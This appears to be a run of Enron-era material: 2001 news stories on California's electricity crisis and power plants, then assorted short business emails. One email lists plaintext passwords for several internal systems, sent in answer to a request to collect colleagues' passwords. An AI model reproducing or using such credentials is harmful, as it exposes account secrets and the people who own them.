month,'' said Jan Smutny-Jones, executive director of the Independent Energ=
y=20
Producers Association.=20
An updated forecast from the system operator last week predicts a loss of=
=20
1,000 megawatts of hydroelectric power and the most severe shortage occurri=
ng=20
in June rather than August. The state is expected to be short nearly 6,000=
=20
megawatts in June, a figure that will drop to 3,500 megawatts in August as=
=20
new power sources come online.=20
``Because of new generation coming online later in the summer, it is May,=
=20
June and July that are going to be the tougher months,'' said system operat=
or=20
spokeswoman Lorie O'Donley.=20
The new report did not calculate shortages for May, but shortages during th=
at=20
month are certainly possible. Last year's first acute power shortage was=20
recorded May 22, prompting a Stage 2 alert that forced businesses to trim=
=20
power usage.=20
Davis spokesman Steve Maviglio downplayed the significance of the governor'=
s=20
warnings about May and June. He noted that the system has proven=20
unpredictable and that no one expected blackouts would hit in January and=
=20
March.=20
``I wouldn't read too much into that,'' Maviglio said. ``It's just going to=
=20
be tight in general, and people are just going to have to conserve, beginni=
ng=20
now.''=20
To stave off a spring crisis, Davis urged Senate Democrats to pass two bill=
s=20
providing more than $1.1 billion to pump up programs that provide rebates a=
nd=20
other financial incentives to conserve energy in homes and small businesses=
.=20
``The only way to fight back against the generators is to use less of their=
=20
product,'' Davis said. ``The less we use, the less money they make.=20
``The hope is, we don't have major disruptions. We're hoping for the best a=
nd=20
planning for the worst.''=20
The California Public Utilities Commission agreed to exempt all hospitals=
=20
from rolling blackouts, in which utilities cut power for an hour or so from=
=20
one circuit to the next to prevent total system failure.=20
The move came after hospitals, once considered exempt, complained of being=
=20
shut off during two days of outages last month.=20
Commissioners also revamped a program that gives rate discounts to business=
es=20
that reduce power use on demand during shortages. They also told utilities =
to=20
implement a program that gives customers a discount in exchange for having=
=20
their air conditioners remotely switched off.=20

---

Already a power giant, state may build plants=20
Published Wednesday, April 4, 2001, in the San Jose Mercury News=20
BY DION NISSENBAUM=20

Mercury News Sacramento Bureau=20

SACRAMENTO -- Step by step during the energy crisis, California has=20
transformed itself into a power baron, spending billions on electricity and=
=20
looking to buy 26,000 miles of transmission lines.=20
But the state is about to take a far more significant step in trying to gai=
n=20
control of its energy destiny: adopting a sweeping plan to build its own=20
power plants and become one of the largest public power authorities in the=
=20
nation.=20
Under the proposal, a new group of seven state officials could spend $5=20
billion or more to build enough generators to supply about 15 percent of th=
e=20
state's power. It would also have the extraordinary power to seize existing=
=20
plants around the state.=20
``This is the one place where we're actually crafting an energy policy in=
=20
response to a crisis,'' said Doug Heller, a consumer advocate with the=20
Foundation for Taxpayer and Consumer Rights.=20
Although the measure has drawn little attention in a capital focused on=20
preventing disruptive blackouts this summer, it has moved swiftly through t=
he=20
Legislature and could reach Gov. Gray Davis as soon as today. Davis, who ha=
s=20
repeatedly promised that the state will take control of its energy future,=
=20
has endorsed the idea.=20
``It comes down to a choice,'' said state Treasurer Phil Angelides, who is=
=20
sponsoring the plan. ``Do we want to hope and pray that the private sector=
=20
builds enough, or do we exercise some prudence to build enough so that we c=
an=20
control our own destiny?''=20
The goal for supporters like Angelides is to make sure the state builds and=
=20
owns enough energy capacity so that it no longer finds itself at the mercy =
of=20
a dysfunctional market that has forced the state to spend $50 million a day=
=20
to buy electricity.=20
Senate President Pro Tem John Burton, D-San Francisco, and other public pow=
er=20
advocates view this proposal as a hammer California can use to drive down t=
he=20
prices charged by out-of-state power companies, which state and federal=20
officials have accused of gouging California.=20
How it worked elsewhere=20
But critics worry that the proposal may create an inefficient and expensive=
=20
bureaucracy that could end up as the kind of financial boondoggle that near=
ly=20
toppled public power agencies in New York and Washington.=20
``I am skeptical of the idea,'' said Severin Borenstein, director of the=20
Energy Institute at the University of California-Berkeley. ``I am far from=
=20
convinced that the state should own generation facilities.''=20
As a model, supporters of the public power authority idea point to New York=
,=20
where the state has spent 70 years building a power company that produces=
=20
about a quarter of the state's energy needs.=20
But even members of the New York Power Authority have a hard time seeing th=
e=20
similarities.=20
``I can't say that it wouldn't work, but I have a hard time envisioning it,=
''=20
said Jack Murphy, a spokesman for the authority.=20
``It's like it's going to be a grown-up power authority from the start,'' h=
e=20
said. ``We kind of grew one plant at a time and the purpose was not a=20
crisis.''=20
New York set out in the early 1900s to prevent private companies from=20
harnessing the famous waters that cascade over Niagara Falls. At the time,=
=20
former President and New York Gov. Theodore Roosevelt backed the plans to=
=20
combat ``waterpower barons'' from taking over state rivers.=20
But it took decades to get the project off the ground and the agency has be=
en=20
criticized for offering poor service, making bad business decisions and=20
creating an inefficient bureaucracy.=20
Even now, the agency is drawing criticism for not building enough plants in=
=20
recent years and for scrambling to prevent blackouts this summer by setting=
=20
up emergency plants in places being challenged by environmental groups.=20
Ashok Gupta, senior energy economist with the Natural Resources Defense=20
Council in New York, said the state public power programs did a good job fo=
r=20
years in backing conservation. But he said the board appointed by the=20
governor isn't acting in the public interest. Consumer activists have sued=
=20
the state agency and accused it of ignoring environmental and health concer=
ns=20
to set up emergency power plants to get through the summer.=20
``It doesn't work that well because there is little or no accountability,''=
=20
Gupta said. ``In New York state our public power authority basically ignore=
s=20
public input and that says a lot.''=20
Critics also point to a debacle even closer to home: Washington state. In=
=20
1983, the state public power authority was forced into what was then the=20
largest bond default in the nation's history in a failed bid to build two=
=20
nuclear plants.=20
The financial disaster has left the Washington Public Power Supply System=
=20
tagged with an unwanted nickname: ``Whoops!''=20
Supporters say they understand the dangers. Whether it is a public authorit=
y=20
or a private business, anything run by human beings runs the risk of failin=
g.=20
But Angelides and others contend that the benefits far outweigh the risks.=
=20
L.A. example of success=20
Some point to Los Angeles, where the head of the local power authority, S.=
=20
David Freeman, has emerged as a kind of folk hero in the energy crisis. In=
=20
1997, Freeman stepped in to head a beleaguered and nearly bankrupt Los=20
Angeles Department of Water and Power. He slashed jobs, cut debt and is=20
credited with keeping cheap electricity flowing to the city's 3 million=20
residents.=20
Freeman has become a close adviser to Davis on the energy crisis, led the=
=20
negotiations with power companies for long-term contracts and is mentioned =
as=20
a possible candidate to run the new state power authority.=20
The new California power authority aims to work with private companies, not=
=20
drive them out of the market, and follow in the footsteps of other public=
=20
power authorities that have a strong track record of providing the cheapest=
=20
power available.=20
Advocates of public power are not bothered by the contention that such=20
entities would deter the private power companies that have been making=20
millions in profits during the energy crisis from building more plants.=20
``I find it difficult to think of anybody shedding tears for these guys,''=
=20
Burton said during the Senate floor debate over his bill. ``There has been =
no=20
one since the days of the robber barons that has gotten away with what thes=
e=20
guys have gotten away with.''=20

Contact Dion Nissenbaum at dnissenbaum@sjmercury.com or (916) 441-4603.
---
---

Power player=20
Manager of AES' Huntington Beach plant becomes a controversial figure amid=
=20
plans to expand capacity.=20
April 4, 2001=20
By KATE BERRY
The Orange County Register=20

Ed Blackford, who runs the AES Huntington Beach power plant, is facing loca=
l=20
outrage over the state's fast track for a plan to bring two dormant=20
generators online by this summer
Photo: Paul E. Rodriguez / The Register
?
?

HUNTINGTON BEACH It appears as if everyone is against Ed Blackford.=20
Surfers hate the sight of the Huntington Beach power plant that he operates=
,=20
saying it destroys the beauty of the coastal landscape. Environmentalists=
=20
worry about the plant's effect on air and water quality. And local resident=
s=20
complain that his company is driven by corporate greed and refuses to "give=
=20
back" to the community.=20
"Let's face it, no one wants to live near a power plant," said Blackford, a=
=20
soft-spoken chemical engineer who is president of AES Huntington Beach. "On=
=20
the other hand, everyone wants the lights to go on when they walk into a=20
room."=20
As the local public face of Arlington, Va.-based AES Corp., Blackford, 53, =
is=20
at the center of a controversy provoked by California's electricity crisis.=
=20
Residents and city officials are outraged that the Huntington Beach plant w=
on=20
approval from the California Energy Commission for speedy review of a plan =
to=20
revive two dormant generators. Obtaining the proper permits for the plant=
=20
would usually have taken more than a year. But state regulators cut the=20
process to just 60 days under an emergency order from Gov. Gray Davis to ge=
t=20
more megawatts online by this summer.=20
The energy commission will hold a daylong hearing Monday at Huntington Beac=
h=20
City Hall. The capacity expansion could receive final approval as soon as=
=20
April 18.=20
The quick review has struck an emotional chord in Huntington Beach, where=
=20
homeowners and beach-goers would rather see the plant, which has anchored t=
he=20
coastline since the early 1960s, shut down than expanded.=20
"I don't think the plant has been a very good neighbor. It's a big, ugly=20
thing in the community," said Connie Boardman, a Huntington Beach=20
councilwoman. "There's no way the CEC staff and our city staff can adequate=
ly=20
analyze bringing these units online by this summer."=20
The fast-tracking means the two generators are likely to be up and running=
=20
before any environmental studies are completed.=20
Scientists at the University of California, Irvine, have a theory that ties=
=20
the power plant to a rash of beach closures in recent years.=20
The plant sucks in ocean water as part of a cooling process, and heated wat=
er=20
is then discharged into the ocean. There is concern that the heated water m=
ay=20
set up currents that draw in plumes of bacteria-laden sewage from a=20
sanitation outflow pipe five miles offshore. With the capacity expansion, t=
he=20
plant would suck in and discharge more ocean water, possibly exacerbating t=
he=20
problem, experts fear.=20
"We've been trying to figure out what it is about the area that makes it=20
contaminated," said Stanley Grant, an environmental engineer at UCI who fir=
st=20
hypothesized in November a link between the AES plant and contamination. Th=
e=20
Orange County Sanitation District followed up with a field experiment, also=
=20
in November.=20
Nearly a dozen studies or surveys will be conducted this summer in the area=
,=20
Grant said.=20
The CEC has recommended requiring AES to pay to clean up any pollution=20
created by the planned expansion.=20
Blackford is the first to admit that relations with the city are strained.=
=20
"I think there are true issues in the water and the air," he said. "There's=
=20
going to have to be conditions to make sure it doesn't create anyone's=20
nightmare of beach closures."=20
AES is taking steps to mitigate air pollution. The plant's two existing=20
generators are scheduled to be shut down starting this month as it installs=
=20
catalytic converters - scrubbers that could reduce smog emissions by 90=20
percent.=20
Blackford blames Southern California Edison, the plant's previous owner, fo=
r=20
not taking steps earlier to reduce emissions.=20
"Not a lot has been done at this plant for a number of years," he said.=20
"Clearly, Edison didn't put much money into this facility other than=20
maintaining the electric generation."=20
HAD PLANNED TO RETIRE=20
Blackford moved to California three years ago with plans of early retiremen=
t.=20
He said the white sandy beaches remind him of his grandfather's cottage in=
=20
New Jersey. He has two grown children and lives in Huntington Harbour with=
=20
his wife, a retired schoolteacher.=20
"Ed basically came out west to do his last stint, and it turned out to be a=
=20
hotbed of politics," said Aaron Thomas, a lobbyist for AES Corp.=20
Blackford found himself in the spotlight when the city launched an=20
unsuccessful attempt two years ago to pass Measure Q, which would have=20
generated millions in revenue for the city by taxing the plant's sales.=20
Blackford has no experience in politics. He is more a product of an=20
industrial corporate culture, having worked at an AES coal-fired power plan=
t=20
in Pennsylvania for more than 15 years.=20
"Suddenly there was all this interest in the plant," he said. "And I really=
=20
wasn't that comfortable with it in the beginning."=20
Bill Workman, an assistant city administrator, said the state's energy cris=
is=20
has given Blackford and AES "justification" to rebuild the plant's two=20
dormant boilers - rather than overhaul the entire plant, something the city=
=20
has advocated for years.=20
"More than anything, we want a commitment that we would see the plant=20
eventually torn down and replaced with a contemporary,=20
environmentally-friendly plant, like those in Redondo Beach and Morro Bay,"=
=20
Workman said. "It's difficult because of the weak relationship the plant ha=
s=20
had with the community in the past."=20
AES' plant in Huntington Beach is not reaping the enormous profits of other=
=20
power generators. Before electricity prices soared last year, AES signed a=
=20
20-year contract to sell all power produced at the Huntington Beach plant a=
nd=20
its two other Southern California plants to Williams Cos. AES gets only the=
=20
contractual price from Williams, which can sell the power at much higher=20
market-based rates.=20
AES has incentive to get its two dormant units up and running quickly.=20
Those units would not be subject to the Williams contract, and AES could se=
ll=20
the power to the state at much higher prices.=20
"Ed has a love for the community," Workman said. "But he also is a senior=
=20
member of the corporate staff for AES, and he's certainly seeking what's be=
st=20
for the corporation and trying to balance out as best he can what's good fo=
r=20
the community."=20
---
---
---------

PUC gives 'interruptibles' a way out=20
The agency's S.F. hearing is disrupted by consumers protesting last week's=
=20
rate increase.=20
Consumer advocates and ratepayers denounced state energy regulators at a=20
raucous meeting in San Francisco on Tuesday at which the California Public=
=20
Utilities Commission approved an opt-out provision for companies and school=
s=20
in so-called interruptible contracts with Southern California Edison.=20
Scores of demonstrators tried to break up the meeting to protest a rate hik=
e=20
of as much as 36 percent approved by the commission last week. Chanting "He=
at=20
and light are a right,'' the protesters forced PUC President Loretta Lynch =
to=20
demand twice, over a chorus of voices: "We will have order in this=20
commission.''=20
After almost two hours of comments from 34 ratepayers and consumer activist=
s,=20
the commission approved several measures, as expected.=20
Regulators dramatically revised a decade-old program in which businesses an=
d=20
schools received discounted electricity rates in exchange for curtailing=20
power use when requested during periods of peak demand. Business groups,=20
including the Orange County Business Council, had lobbied heavily for the=
=20
changes in the interruptible contracts, which impose heavy penalties on use=
rs=20
that don't cut power when requested. Customers will now be allowed to opt o=
ut=20
of the program and avoid paying penalties accrued since November.=20
"It is mostly good news,'' said Julie Puentes, OCBC executive vice presiden=
t=20
of public affairs.=20
But she said businesses are still upset that they will be notified only=20
minutes before a rolling blackout occurs, making interruptions difficult fo=
r=20
manufacturers with sensitive equipment.=20
In all, three new programs to encourage energy conservation by businesses=
=20
were adopted. The PUC also allowed Edison to expand a program in which=20
residential customers agree to have their air conditioning automatically sh=
ut=20
off in times of power shortages.=20
Among the business options, one proposal will pay customers $350 a=20
megawatt-hour to reduce usage by at least 100 kilowatts on a same-day or=20
day-ahead basis. Another exempts customers from rolling blackouts if they=
=20
agree to reduce usage during each Stage 3 power alert.=20
Customers currently in interruptible contracts with Edison can opt out of=
=20
their contracts, either retroactive to Nov. 1, 2000, or at the start of the=
=20
next billing cycle. Those dropping out can either pay penalties accrued sin=
ce=20
November or reimburse their utility for a 15 percent discount on rates.=20
The commission also launched a formal investigation into the financial=20
relationships between the state's two cash-strapped utilities, Edison and=
=20
Pacific Gas & Electric, and their parent companies, which have received=20
billions of dollars from the subsidiaries in recent years. Both corporation=
s=20
objected.=20
"The CPUC should be taking steps to restore the credit-worthiness for=20
California utilities so they can build, maintain and operate a reliable=20
electric system,'' said Thomas Higgins, an Edison senior vice president. Th=
e=20
companies have said that the cash transfers from the utilities, for=20
dividends, taxes and other payments, were normal business practice and were=
=20
in keeping with rules set by regulators.=20
The commission also approved the maximum size of a state bond issue, allowi=
ng=20
State Treasurer Phil Angelides to move forward on selling bonds to pay for=
=20
power purchases. The bond issue, set at $13.4 billion, will enable the=20
state's Department of Water Resources to pay for power purchases.=20
The commission also voted for all acute-care hospitals to be exempt from=20
rolling blackouts. Previously, only hospitals with 100 beds or more were=20
exempt. Residential customers on life-support equipment will be notified by=
=20
their utility prior to a blackout.

---
---

Energy notebook=20
Davis to give TV address on energy crisis Thursday=20
SACRAMENTO Gov. Gray Davis plans to deliver a five-minute statewide=20
television address Thursday evening to discuss California's energy crisis a=
nd=20
make what his office described as a major announcement.=20
Davis will "speak in detail about California's energy emergency," his offic=
e=20
said. The address will originate in the governor's Capitol office.=20
Also Tuesday, Davis said late spring and early summer will be the most=20
difficult periods for power shortages.=20
"Usually, the challenge is in August or September; this year, the challenge=
=20
may be in May or June," Davis said after a two-hour private meeting with=20
Senate Democrats. He said new power plants that are scheduled to go into=20
operation by late summer, including "peaker" plants, could provide 4,000=20
megawatts to cushion against outages. A megawatt is enough to light from 75=
0=20
to 1,000 homes.=20
The governor also said the state would seek to acquire the utilities'=20
power-generating dams if federal regulators do not approve California's pla=
n=20
to purchase the companies' transmission lines.=20
"The hydro assets would be Plan B," the governor said.=20
The state has spent nearly $4.2 billion to buy power for the beleaguered=20
utilities. A bond sale to recover that money, as well as pay for cheaper=20
power under long-term contracts, is planned for next month.=20
Investors weigh petitioning for Edison's bankruptcy=20
Rosemead An investor holding defaulted debt sold by Southern California=20
Edison told utility executives on a conference call he and other investors=
=20
are closer to having a bankruptcy court decide how to reorganize the cash-=
=20
strapped utility.=20
The comment came after Ted Craver, the chief financial officer of the=20
utility's parent, Edison International, told investors that he agreed there=
=20
has been "frustration" in waiting for a solution.=20
Craver said he was "somewhat amazed at how disciplined" the investors have=
=20
been holding off seeking a remedy in the bankruptcy courts.=20
Any three unsecured investors holding more than $10,000 in defaulted debt c=
an=20
file a petition with the court to put the company into involuntary=20
bankruptcy. The state's second-largest investor-owned utility holds=20
conference calls every Tuesday and Friday for holders of the more than $696=
=20
million of debt it has defaulted on since Jan. 16.=20
Register staff writer John Howard and Bloomberg News contributed to this=20
report.=20

---
---

Power Supplier Files Lawsuit Against Pacific Gas and Electric Company;=20
Dynamis, Inc. Seeks to Suspend Power Purchase Agreement in Order to Provide=
=20
Power to Grid

SANGER, Calif.--(BUSINESS WIRE)--April 3, 2001 via NewsEdge Corporation  -
In the continuing
saga of California's energy crisis, yet another power supplier remains
non-operational because of PG&amp;E's failure to pay for past deliveries
of power.

Dynamis, Inc. filed a lawsuit today in Fresno Superior Court
seeking payment from Pacific Gas and Electric Company (PG&amp;E) for over
$3 million for past deliveries of power and to suspend its electric
power purchase agreement in order to allow Dynamis to resume
delivering electric power to the California electrical grid. Dynamis,
a natural gas-fired cogeneration facility located in Sanger, Fresno
County, was forced to shut down operations in February of this year
after PG&amp;E paid it only a small portion of the amounts due for the
deliveries that Dynamis had made in December 2000 and January 2001.

"Unless Dynamis is enabled to sell power in the open market, the
facility will be forced to remain idle," said Michel Gaucher, Director
and Owner, Dynamis, Inc. "Dynamis simply does not have the financial
resources to continue extending credit to PG&amp;E, particularly given
PG&amp;E's refusal to make any past due payments and with no assurance of
payment for any future deliveries."

"In light of our state's recent rolling blackouts (on March 19 and
20), and given the predictions of further rolling blackouts as we
approach summer, Dynamis remains committed to finding a method to
operate its facility and sell much-needed power to the California
electrical grid," Gaucher said.

The Dynamis facility has provided power to PG&amp;E and California
consumers since 1991 with a reliability approaching 100 percent. The
42 megawatt "qualifying facility" has the capacity to produce
electricity to supply over 40,000 homes. Dynamis is one of the largest
taxpayers in Fresno County, and provides significant financial and
community resources to the City of Sanger. Dynamis provides employment
to 25 people at the facility.

CONTACT: Dynamis, Inc. |              Michel Gaucher, 514/866-2801 | or |=
=20
Steven Greenwald, 415/276-6528

---

By Kathleen McFall=20
kmcfall@ftenergy.com=20

While much of the current dialogue about the national energy situation=20
focuses on supply-side solutions, interest is growing in energy-efficiency=
=20
actions and real-time pricing as a means of reducing demand.

"These efforts are far more than public relations," said Michael Reid,=20
consulting director at E Source, a unit of Financial Times Energy in Boulde=
r,=20
Colo. "I view energy efficiency as a significant resource. It's not the=20
solution, but it's part of a solution that also includes new generation and=
=20
transmission."=20

"The cheapest megawatt you can buy this summer is the one you don't have to=
=20
purchase," California Gov. Gray Davis said recently when announcing new=20
conservation programs.=20

The California Energy Commission estimates that, without more conservation =
or=20
new plants this summer, California will be short up to 10% of expected dema=
nd=20
on peak use days. Farther north, the Northwest Power Planning Council in=20
Portland, Ore., said the hydropower-dependent region was experiencing "the=
=20
driest or second-driest (year) on record."=20

Buybacks and related financial incentives for large industrial customers,=
=20
such as for the aluminum industry in Washington and Oregon, were ramped up=
=20
this past summer (see "Interest in energy efficiency growing," Energy=20
Insight, Feb. 9, 2001). Now, in light of the continuing power crisis, the=
=20
efficiency focus is expanding to residential customers.=20

Resurrection of tradition=20
What some analysts dub "traditional" energy-efficiency programs, rebates fo=
r=20
appliances and windows, for example, were more common when utilities were=
=20
subject to the least-cost planning efforts of a structured regulatory=20
framework.=20

"These programs were not the result of a crisis situation. They were seen a=
s=20
the right thing to do from an economic and environmental perspective. Withi=
n=20
the framework of least-cost planning, it made sense for the utility to purs=
ue=20
energy-efficiency measures rather than develop new power," said Reid. "Over=
=20
the past few years, however, utilities pulled back from traditional=20
energy-efficiency programs as the industry restructured. Had the old-style=
=20
programs continued, they would have achieved a lot more by this time."=20

Instead, funds from traditional programs were funneled into more fashionabl=
e=20
"market transformation" approaches in California and elsewhere. For example=
,=20
in a 1997 decision, the California Public Utility Commission (CPUC) scaled=
=20
back rebate programs and, instead, offered incentives to manufacturers and=
=20
builders. Making energy efficiency profitable to businesses was assumed to =
be=20
a more permanent solution.=20

Market transformation approaches take a long-term view, but now, as=20
regulators and utilities need an immediate response, traditional approaches=
,=20
combined with rate hikes and innovative new real-time pricing schedules, ar=
e=20
once again on the table.=20

Using prices to encourage conservation
Some analysts believe transparent pricing is the only effective way to send=
=20
the right signals to consumers to decrease demand. In keeping with that=20
thinking, the CPUC raised electricity rates for millions of retail customer=
s=20
by more than 40% recently, citing the need to get "electricity hogs" to=20
conserve power and stave off blackouts this summer. The CPUC established th=
at=20
a "tiered" pricing structure, still undefined, will be put into place that=
=20
will reward customers who conserve energy and penalize those who do not.=20

In Seattle, the city is seeking a demand decrease of 10%. At the end of=20
February, Seattle City Light said weather-adjusted demand was down by 6.2%.=
=20
The utility attributes this to price-responsive conservation due to a 10%=
=20
rate increase effective in January. It expects even more savings given the=
=20
18% increase that took effect in March.=20

Not everyone agrees that rate increases are essential to achieving greater=
=20
energy efficiency. "Even without a price hike, there's a lot of untapped an=
d=20
cost-effective efficiency measures in California and elsewhere," said Reid.=
=20
"I think the price hikes are more about keeping utilities solvent than abou=
t=20
encouraging conservation. The CPUC approved a huge increase because the=20
accountants said the utilities are in dire straits. Conservation will be a=
=20
byproduct of the higher rates; it's not the main reason for raising them."=
=20

The time-of-use pricing strategy, already common for large industrial and=
=20
commercial users, is an alternative cost-based approach that's fast gaining=
=20
converts. It encourages residential customers to decrease use while allowin=
g=20
utilities to improve load management.=20

Last week, the Oregon Public Utility Commission (OPUC) ordered the state's=
=20
two largest private utilities, Portland General Electric and PacifiCorp, to=
=20
offer 1.2 million residential and small-business customers alternative=20
pricing plans, including a time-of-use approach. Customers who opt for this=
=20
plan will receive a new meter that allocates consumption into peak, mid-pea=
k=20
and off-peak hours.=20

"These (pricing) options are important to our energy future," said Commissi=
on=20
Chairman Ron Eachus.=20

Rebates, mandates
Traditional energy-efficiency rebates also are gaining momentum as utilitie=
s=20
in the West resurrect programs or strengthen existing ones. In California,=
=20
PG&E recently announced new rebates for energy efficient light bulbs,=20
refrigerators, clothes washers and dishwashers.=20

"It is very likely that California will experience severe power shortages i=
n=20
the coming months, and our customers' conservation efforts are going to be=
=20
critical in helping the state get through the crisis with as few blackouts =
as=20
possible," said Beverly Alexander, PG&E vice president of energy management=
=20

In keeping with California style, the state is adding twists to the=20
traditional approach by also offering rebates to residential users who=20
decrease their consumption this summer. Businesses and homeowners can earn =
a=20
20% rebate on their summer electric bills if they cut their use by 20%=20
compared to last year. The one-time discount will apply to bills for June=
=20
through September only.=20

According to the governor's press office, if only 10% of the utilities'=20
customers achieve the 20% reduction, it could result in approximately 3,500=
=20
GWh reduction in consumption and 2,200 MW reduction in peak consumption. Th=
is=20
would result in an avoided power purchase cost of $400 million to $1.3=20
billion.=20

"Instead of paying exorbitant rates to out-of-state generators, I'd rather=
=20
pay California consumers to conserve," Davis said in a statement.=20

While innovative, these programs present challenges. "Will the 20% reductio=
ns=20
be adjusted for weather, for example?" asked Reid. "How will consumers know=
=20
if they have achieved 20% before they get their bill? Consumers lack the=20
sophisticated meters that can give them feedback on their conservation=20
efforts in real time."=20

Gov. Davis also is invoking emergency authority to mandate even more power=
=20
savings from business and residential customers.=20

"All the malls, shopping centers, everything is lit up at night like it's t=
he=20
middle of the day," he said to a group of investors. In response, the state=
=20
is requiring that retailers reduce their consumption of electricity on=20
outdoor lighting for estimated reductions of at least 40% to 60% after=20
business hours.=20

It's too soon to assess the outcome of the renewed push in the West for=20
energy efficiency and load management in terms of savings achieved. This=20
summer, obviously, will be the acid test. However, the crisis situation may=
=20
result in energy-efficiency measures and pricing innovations taking a=20
permanent seat at the policy discussion table. While some of the more=20
innovative, short-term programs may unravel as the price of power declines=
=20
with new supply, it's unlikely that demand management strategies will ever =
be=20
relegated to the sidelines again.

I am very happy for you.  It sounds as if everything in your life is going in the right direction.  I think you will enjoy working in the DC ofice and for Joe.  I am sure you will learn alt.  Also, thank you for remembering Jason and Jessica's 1 year birthday.  The designer T-shirts were great and they look really cute in them.  That was very thoughful of you to remember.  Good luck!

From:	Karina Prizont/ENRON@enronXgate on 05/30/2001 02:10 PM
To:	Stanley Horton/Corp/Enron@Enron
cc:	Cindy Stark/Corp/Enron@ENRON 

Subject:	

Stan,

As you probably know, I have accepted a position as Regulatory Analyst reporting to Joe Hartsoe.  My last day in Houston is June 29 and I will start my new responsibilities on July 16.

By means of this message I want to thank you for making this possible.  This is a big challenge for me and opens a new spectrum of possibilities in a completely different arena.

I am looking forward to being a part of the ETS team.

Karina

---------------------- Forwarded by Kay Mann/Corp/Enron on 04/23/2001 10:36 

"PARKER, Isabel" <isabel.parker@freshfields.com> on 04/23/2001 10:22:13 AM
To: "Carolyn Campbell (E-mail)" <CCampbell@KSLAW.com>, "Kay Mann (E-mail)" 
<kay.mann@enron.com>
cc: "Rick Vicens (E-mail)" <rvicens@deltapower.com>, "Gregory F. Lang 
(E-mail)" <gregorylang@paulhastings.com>, "John Staikos (E-mail)" 
<johnstaikos@paulhastings.com>, "John Tisdale (E-mail)" 
<jtisdale@jhancock.com>, "Jack Wallace (E-mail)" <jwallace@jhancock.com>, 
"John Anderson (E-mail)" <jcsanderson@jhancock.com>, "O'BRIEN, Lisa" 
<lisa.obrien@freshfields.com>, "BURKE, Ted (TDB)" 
<ted.burke@freshfields.com>, "VAN DUSEN, Nicholas" 
<nicholas.vandusen@freshfields.com> 

Subject: Pegasus - ENA documents

This e-mail is confidential and may well also be legally privileged. If you 
have received it in error, you are on notice of its status.  Please notify us 
immediately by reply e-mail and then delete this message from your system.  
Please do not copy it or use it for any purposes, or disclose its contents to 
any other person:  to do so could be a breach of confidence.  Thank you for 
your co-operation.  Please contact our
IT Helpdesk on +44 (0) 20 7936 4000 Ext.2000 or email ITHelp@freshfields.com 
if you need assistance.

Carolyn

We attach the following:

(a) a clean and blacklined copy of the ENA Consent, reflecting changes to
the credit documentation;
(b) a mark-up of the "no objection to forms" letter to be executed by ENA;
(c) a draft letter from the purchasers under the Note Purchase Agreement
setting out the actions to be taken by ENA post funding and agreeing not to
issue entitlement orders in respect of their security interest in the Escrow
Account if these actions are completed.

We would be grateful if you could confirm whether Citibank had any comments
on the Escrow Agreement, and whether the account will be set up for
Wednesday's funding.

Isabel

 - NY003701393.DOC
 - ENA LTR TO DELTA LENDER RE FORM OF AGMT1DOC.DOC
 - NY003699617.DOC
 - COMPARE001.DOC

Hi,

     Thanks for the document on your practice.  I forwarded it to the 
relevant parties.

     They will take a look at it and get back to me when they wish to take 
the next steps with you and your colleagues at McKinsey.

Regards,
Iris
From:  <Bernard_Loyd@mckinsey.com>@ENRON 
[mailto:IMCEANOTES-+3CBernard+5FLoyd+40mckinsey+2Ecom+3E+40ENRON@ENRON.com] 
Sent: Wednesday, March 07, 2001 11:28 AM
To: Mack, Iris
Subject: RE: Dr. Bernard Loyd at McKinsey (Agriculture)

Below is some material on the practice.  B

                    <Iris.Mack@en
                    ron.com>             To:     Bernard_Loyd@mckinsey.com
                    03/07/2001           cc:
                    10:21 AM             Subject:     RE: Dr. Bernard Loyd at 
McKinsey
                                         (Agriculture)

Hi,

     Thanks for your prompt response.  My colleagues would indeed like to
chat with you about the Agriculture industry some time in the future.

     Can we touch bases in a few weeks.

     In the mean time, do you have any materials you can forward to us
about McKinsey's Agriculture Group?

Thanks,
Iris

   From:   <Bernard_Loyd@mckinsey.com>@ENRON

[mailto:IMCEANOTES-+3CBernard+5FLoyd+40mckinsey+2Ecom+3E+40ENRON@ENRON.com]

   Sent:   Wednesday, March 07, 2001 2:17 AM
   To:     Mack, Iris
   Subject:  RE: Iris Mack at ENRON

   Hey Iris,
   Great to hear from you and welcome back stateside!  I would be delighted
   to
   meet with you and your colleagues.
   Bernard

                       Margot Tyler
                       03/06/2001           To:     Bernard
                       02:41 PM             Loyd/CHI/NorthAmerica/MCKINSEY
                                            cc:
                                            Subject:     RE: Iris Mack at
   ENRON

   ----- Forwarded by Margot Tyler/CHI/NorthAmerica/MCKINSEY on 03/06/2001
   02:41 PM -----

                       <Iris.Mack@en
                       ron.com>             To:
   Margot_Tyler@mckinsey.com
                       03/06/2001           cc:
                       02:27 PM             Subject:     RE: Message for
   Bernard

      Hi again,

           I had lunch today with some of the guys in my group who work on
      agriculture-related deals and on weather derivatives.

           I mentioned to them about Bernard's working at McKinsey and
      specializing in the agriculture area.

           We thought it might be worthwhile if we all had a chat and/or
   met
      to discuss possible collaborative efforts.

           Will you please forward this email on to Bernard to see if this
      might be of interest to him?

      Thanks,
      Iris

   +-------------------------------------------------------------+
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   | disclose or take any action based on this message or any    |
   | information herein.  If you have received this message in   |
   | error, please advise the sender immediately by reply e-mail |
   | and delete this message.  Thank you for your cooperation.   |

 - AFC Qual Pack.zip << File: AFC Qual Pack.zip >> 

Lan:  cole1jake
Sitara:  sitara
cpr:  jungle
pops:  daren
unify:  jungle

Laura Harder@ENRON
12/11/2000 02:29 PM
To: Thomas A Martin/HOU/ECT@ECT, Jim Schwieger/HOU/ECT@ECT, Greg 
McClendon/HOU/ECT@ECT, James McKay/HOU/ECT@ECT, Elsa Villarreal/HOU/ECT@ECT, 
Daren J Farmer/HOU/ECT@ECT, Carey M Metz/HOU/ECT@ECT, Stacey 
Neuweiler/HOU/ECT@ECT, Lauri A Allen/HOU/ECT@ECT, Edward D 
Gottlob/HOU/ECT@ECT, Eric Bass/HOU/ECT@ECT, Gary W Lamphier/HOU/ECT@ECT, 
Danny Conner/NA/Enron@Enron, Liz Bellamy/NA/Enron@Enron, Janet H 
Wallis/HOU/ECT@ECT
cc:  
Subject: Passwords

A lot of us are going to be out ... please give me all of the passwords that 
may be needed if/when you are out.

Thanks,
Laura

Shirley,

It's an IT request for Sandeep.
Please, help.

Vince

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 03/08/2001 
03:17 PM ---------------------------

SAP Security@ENRON
03/08/2001 02:20 PM
Sent by: Eva Tow@ENRON
To: Sandeep Kohli/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
Subject: Re: SRF for Sandeep Kohli: Eva: Remedy 364463  

Sandeep,

